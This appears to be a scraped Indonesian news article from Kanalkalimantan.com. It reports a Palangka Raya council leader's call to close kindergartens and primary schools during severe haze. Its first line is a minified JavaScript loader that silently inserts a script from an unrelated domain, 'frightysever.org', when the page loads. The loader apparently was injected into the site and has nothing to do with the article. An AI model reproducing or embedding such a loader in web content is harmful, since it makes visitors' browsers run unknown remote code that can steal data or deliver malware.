(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kabut Asap, DPRD Palangka Raya Minta Sekolah TK dan SD Diliburkan

KANALKALIMANTAN.COM, PALANGKA RAYA – DPRD Palangka Raya menyerukan permintaan untuk menghentikan sementara aktivitas belajar mengajar tatap muka di tingkat Taman Kanak-kanak (TK) dan Sekolah Dasar (SD).

“Ini perlu dilakukan oleh Pemko sebagai respon terhadap kondisi kabut asap yang semakin parah. Sebaiknya diliburkan dulu sampai kondisi membaik, terutama TK dan SD,” kata Wakil Ketua I DPRD Palangka Raya, Wahid Yusuf.

Menurutnya, kesehatan dan keselamatan pelajar merupakan prioritas utama. Kabut asap yang semakin parah dapat berdampak negatif pada kesehatan anak-anak. Menurut data ISPU konsentrasi partikulat PM2.5 dalam udara telah melampaui batas aman pada beberapa hari terakhir ini.  Hal ini memicu kekhawatiran akan potensi masalah kesehatan, terutama pada anak-anak yang lebih rentan terhadap dampak polusi udara.

“Hanya saja kalau sudah diliburkan tetap juga belajar di rumah jangan malah bermain di luar rumah. Di sini juga penting peran orang tua untuk mengawasi aktivitas anak ketika libur sekolah,” ujarnya.

Sejauh ini pemerintah daerah setempat belum mengumumkan jadwal resmi libur sekolah. Meski begitu ada pengurangan jam belajar dan jam masuk sekolah selama kabut asap. (Kanalkalimantan.com/rls/kk)

Reporter : kk
Editor : cell